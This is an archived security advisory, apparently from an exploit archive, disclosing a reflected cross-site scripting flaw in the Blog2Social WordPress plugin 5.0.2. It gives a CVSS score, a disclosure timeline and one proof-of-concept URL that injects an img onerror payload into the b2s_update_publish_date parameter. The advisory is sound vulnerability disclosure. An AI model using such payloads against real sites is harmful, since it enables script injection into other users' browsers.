exploit the possibilities

WordPress Blog2Social 5.0.2 Cross Site Scripting

WordPress Blog2Social 5.0.2 Cross Site Scripting
Posted Feb 6, 2019
Authored by Tim Coen

WordPress Blog2Social plugin version 5.0.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2019-9576
MD5 | 361d66ce2b9e0256cf6e637e381159d9

WordPress Blog2Social 5.0.2 Cross Site Scripting

Change Mirror Download
  * Vulnerability: XSS
* Affected Software:
[Blog2Social](https://wordpress.org/plugins/blog2social/)
* Affected Version: 5.0.2
* Patched Version: 5.0.3
* CVE: not requested
* Risk: Medium
* Vendor Contacted: 10/25/2018
* Vendor Fix: 11/13/2018
* Public Disclosure: 02/05/2019
* Credit: Tim Coen

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The Blog2Social WordPress plugin is vulnerable to reflected XSS as it
echoes the b2s_update_publish_date parameter without proper encoding.

##### Proof of Concept


http://192.168.0.103/wordpress/wp-admin/admin.php?page=blog2social-ship&postId=70&b2s_action=1&b2s_update_publish_date='"><img
src=x onerror=alert(1)>

##### Timeline

- 10/25/2018 Sent advisory
- 10/26/2018 Vendor confirms recipt of advisory
- 11/13/2018 Vendor releases fix
- 02/05/2019 Confirmed Fix & Disclosure

##### Details & Full Advisory URL

https://security-consulting.icu/blog/2019/02/wordpress-blog2social-xss/

--
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close